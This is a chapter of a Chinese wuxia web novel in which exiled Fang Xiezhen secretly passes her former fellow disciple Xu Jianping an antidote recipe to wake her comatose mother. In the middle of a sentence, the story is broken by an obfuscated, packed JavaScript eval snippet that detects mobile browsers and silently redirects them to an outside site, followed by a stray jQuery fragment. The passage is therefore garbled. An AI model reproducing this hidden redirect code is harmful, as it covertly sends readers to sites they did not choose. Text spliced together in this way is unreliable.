那时太情急了,方撷真没有说明具体的地点,但她总觉得,程芙会如期赴约。 43.参商(4) 噩梦一般的大火过后,水月谷的重建十分艰难。建筑物倒还好,烧过的全部推翻重建便是,要么就重新上一道漆,石头是不怕火的,而那些花草树木,尤其是上了年头的参天大树、奇花异草,则分外可惜。 大火已烧完了四年,方撷真被水月谷驱逐,也已有三年。 方撷真三十二岁了。 她立在水月谷不远处的高峰上,仪态是居高临下的,眉宇间却沁着悲哀。 谷门口原来有一棵老杏树,毁在大火里了,她和武绿华便着人移栽了一棵新的,老树已去,新树亭亭地立在夜色之中,她却不能上前摇一摇,倘若幸运,便会有银杏果子簌簌坠落,咬一口,苦得很。 方撷真的忧愁稍纵即逝,因为她晓得,她总有一日会回去,总有一日能尝到银杏果子的滋味。 风灌满衣袖,脚步声渐进,不是方撷真所熟悉的,她便警惕一回头,随后,慢慢舒展了眉目:“我还当来的不是你。” 数年未见,徐剑屏的步伐愈发轻盈,这便是轻功进步不少的呈现。 徐剑屏不知拿什么称呼方撷真,索性不予称呼,直截了当道:“找我何事?你可以直接说,不必绕弯子。” 与徐剑屏的关系,称不上亲切,可把水月谷徒子一个个拉出来细算,能帮上方撷真的,也就仅有她了。 倘若徐剑屏都不愿意,方撷真真不知再找谁。 “我母亲近况如何?”离开长阴镇后,方撷真打听过了,武红英依然在冰棺中沉睡。 徐剑屏受过武红英不少照拂,因此她对谷主的情况是很关心的,奈何武绿华简直像霸占了那一方瀑布后的山洞,不许任何人靠近,以至于她从未亲眼见过冰棺里的人是什么境况。 不过,有一点她很笃定:“没有醒。” 话音才落,方撷真便从袖中掏出一张纸,纸张边缘稍有磨损,却叠得非常整齐。她略略端详了一番故人,一字字道:“我信任你,才会暗中给你传信,你是知道的吧?” 徐剑屏心中不安,将头轻点。 她不认可方撷真的冷酷无情,也厌恶武绿华的行事风格,今日来见方撷真,只为了看看葫芦里卖的什么药:“是有求于我?可我未必会答应。” “你会答应的。”方撷真笑了笑,“这儿有一张药方。我查到了星罗宫毒箭上涂的是什么,也找到了解毒的方法。你将此方交予武绿华,她心里有数。” 方撷真深恨武绿华的所作所为,却相信她对姐姐的感情,不亚于自己对唤醒母亲的执着。 两人在武红英昏睡后,可是和平相处过一年多的。 徐剑屏的指尖微微颤抖,她也想让武红英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393575|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒过来,不免内心激动。 她看过武绿华与方撷真是怎样地为了武红英殚精竭虑,尤其在方撷真被驱逐后,武绿华几乎到了疯魔癫狂的地步。 ……那些枉死的人,那些哭求着武绿华放他们一马的冤魂,似乎日日都在水月谷上方环绕。 但她仍有顾虑:“我没有合适的措辞。你应当晓得她不喜欢你,而我偷偷来见你,怎知不会招致灭顶之灾?” 她毕竟不了解武绿华,方撷真却不同:“你带来了能唤醒我母亲的药方,武绿华怎会杀你?哪怕你供出我也无妨。师姐,不必有顾虑,去吧。” 这是久违的“师姐”唤得很轻,才落地,方撷真便运转轻功,消失在了茫茫夜色中。 她几乎一事无成,参不透回魂术,从未真正赢过程芙,拿下论剑魁首却不能亲口向母亲报喜,还未名满江湖就已身败名裂,可唯有这一件事——掌心仿佛还残留着药方的温度,唯有这一件,至少该有这一件,定要完满地完成。 不出半个月,隐匿在水月谷附近的方撷真便听闻了母亲苏醒的消息。至于种种细节,她暂时一概不知。 她这唯一的女儿“失踪”了,还背上那等恶名,武红英要怎样才能承受? 可她没有时间再等。 她和程芙约定好的日子,快要到来了。